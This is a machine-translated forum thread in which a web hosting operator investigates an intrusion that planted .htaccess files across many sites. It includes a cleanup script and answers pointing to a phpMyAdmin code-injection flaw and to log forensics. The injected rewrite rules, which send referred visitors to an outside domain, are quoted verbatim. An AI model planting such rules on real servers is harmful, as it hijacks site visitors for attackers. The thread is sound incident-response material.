尋找網頁伺服器漏洞

尋找網頁伺服器漏洞

我們經營一個託管大約 300 個網站的網站伺服器場。

昨天早上,一個腳本放置了 www-data(apache 用戶)擁有的 .htaccess 文件在每個目錄中在大多數(但不是全部)網站的 document_root 下。

.htaccess 檔案的內容是這樣的:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

谷歌搜尋該網址(這是“防毒”的 md5 哈希值),我發現同樣的事情在整個互聯網上都發生過,我正在尋找已經處理過這個問題的人,並確定漏洞在哪裡

我已經搜索了我們的大部分日誌,但還沒有找到任何結論。還有其他經歷過同樣事情的人比我在找出漏洞方面更進一步嗎?

到目前為止我們已經確定:

  • 這些變更是作為 www-data 進行的,因此 apache 或其插件可能是罪魁禍首
  • 所有更改均在 15 分鐘內完成,因此可能是自動化的
  • 由於我們的網站的網域差異很大,我認為一個網站上的一個漏洞是造成這種情況的原因(而不是每個網站上的常見漏洞)
  • 如果 .htaccess 檔案已經存在並且可由 www-data 寫入,則腳本很友好,只需將上述行附加到檔案末尾(使其易於反轉)

任何更多的提示將不勝感激。

==編輯==

對於需要它的人,這是我用來清理 .htaccess 檔案的腳本:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

答案1

有一個開發phpMyAdmin 的

#!/bin/bash

# CVE-2009-1151:phpMyAdmin '/scripts/setup.php' PHP 程式碼注入 RCE PoC v0.11
# by pagvac (gnucitizen.org),2009 年 6 月 4 日。
# 特別感謝Greg Ose (labs.neohapsis. com)為了發現如此酷的漏洞,
# 並訪問 str0ke (milw0rm.com) 來測試這個 PoC 腳本並提供回饋!

# PoC 腳本已在以下目標上成功測試:
# phpMyAdmin 2.11.4、2.11.9.3、2.11.9.4、3.0.0 和 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubun 8.04. )

# 攻擊要求:
# 1) 易受攻擊的版本(顯然!):2.11.9.5 之前的 2.11.x
# 和 3.1.3.1 之前的 3.x 根據 PMASA-2009-3
# 2) it似乎此漏洞只能針對
管理者選擇安裝 phpMyAdmin 的環境進行利用
#嚮導方法,而不是手動方法:http://snipurl.com/jhjxx
# 3) 管理者必須沒有刪除
「/phpMyAdmin/」目錄中的「/config/」目錄。這是因為這個目錄是
# '/scripts/setup.php' 嘗試創建 'config.inc.php' 的地方
# 我們的邪惡 PHP 程式碼被注入 8)

# 更多資訊:
#http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
#http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

答案2

由於攻擊似乎是透過 apache 發起的,我會做以下兩件事:

  1. 分塊查看所有訪問日誌以查找“.htaccess”,即類似的內容
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. 在 apache/httpd/whatever 使用者主目錄中尋找歷史文件,通常是「/var/www」或類似的文件。

這將首先判斷網路使用者本身是否受到損害,或者攻擊者正在利用任意命令執行。它還可以(潛在)完整地說明攻擊者所做的事情。儘管聽起來很愚蠢,但大多數像這樣的駭客很少會自行清理並留下此類證據。

當然,如果您的組織中有一個執行安全事件回應或取證檢查的小組,那麼在您開始自己的分析之前,可能值得將設備交給他們。

相關內容